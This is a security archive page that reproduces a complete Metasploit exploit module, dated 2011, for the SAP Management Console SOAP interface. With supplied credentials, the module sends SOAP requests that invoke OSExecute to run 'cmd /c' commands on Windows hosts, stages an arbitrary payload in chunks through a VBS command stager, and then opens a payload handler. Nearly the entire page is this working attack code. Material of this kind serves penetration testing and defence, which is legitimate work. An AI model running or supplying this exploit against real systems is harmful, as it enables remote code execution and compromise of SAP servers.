what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SAP Management Console OSExecute Payload Execution

SAP Management Console OSExecute Payload Execution
Posted Oct 24, 2011
Authored by Chris John Riley | Site metasploit.com

This Metasploit module executes an arbitrary payload through the SAP Management Console SOAP Interface. A valid username and password must be provided.

tags | exploit, arbitrary
SHA-256 | 631d430623b1bdaf08c10284315fb2752c47e9e4c998de80b05ea83f243e5517

SAP Management Console OSExecute Payload Execution

Change Mirror Download
##
# $Id: sap_mgmt_con_osexec_payload.rb 14048 2011-10-24 16:42:07Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'SAP Management Console OSExecute Payload Execution',
'Version' => '$Revision: 14048 $',
'License' => MSF_LICENSE,
'Author' => [ 'Chris John Riley' ],
'Description' => %q{
This module executes an arbitrary payload through the SAP Management Console
SOAP Interface. A valid username and password must be provided.
},
'References' =>
[
# General
[ 'URL', 'http://blog.c22.cc' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
},
'Payload' =>
{
'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
},
'Platforms' => [ 'win' ],
'Targets' =>
[
[
'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 08 2011'
))

register_options(
[
Opt::RPORT(50013),
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('USERNAME', [true, 'Username to use', '']),
OptString.new('PASSWORD', [true, 'Password to use', '']),
], self.class)
register_advanced_options(
[
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
], self.class)
register_autofilter_ports([ 50013 ])
end

def autofilter
false
end

def exploit
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
print_status("Using custom payload size of #{linemax}") if linemax != 7500
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
handler
end

# This is method required for the CmdStager to work...
def execute_command(cmd, opts)

soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
ns1 = 'ns1:OSExecute'

cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
if cmd_s.length > 1
print_status("Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)")
end

cmd_s = cmd_s.collect(&:strip)
cmd_s.each do |payload|

data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])

begin
res = send_request_raw({
'uri' => "/#{datastore['URI']}",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '""',
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 60)

if (res.code != 500 and res.code != 200)
print_error("[SAP] An unknown response was received from the server")
abort("Invlaid server response")
elsif res.code == 500
body = res.body
if body.match(/Invalid Credentials/i)
print_error("[SAP] The Supplied credentials are incorrect")
abort("Exploit not complete, check credentials")
elsif body.match(/Permission denied/i)
print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
raise RuntimeError.new("Exploit not complete, check credentials")
end
end

rescue ::Rex::ConnectionError
print_error("[SAP] Unable to attempt authentication")
break
end
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close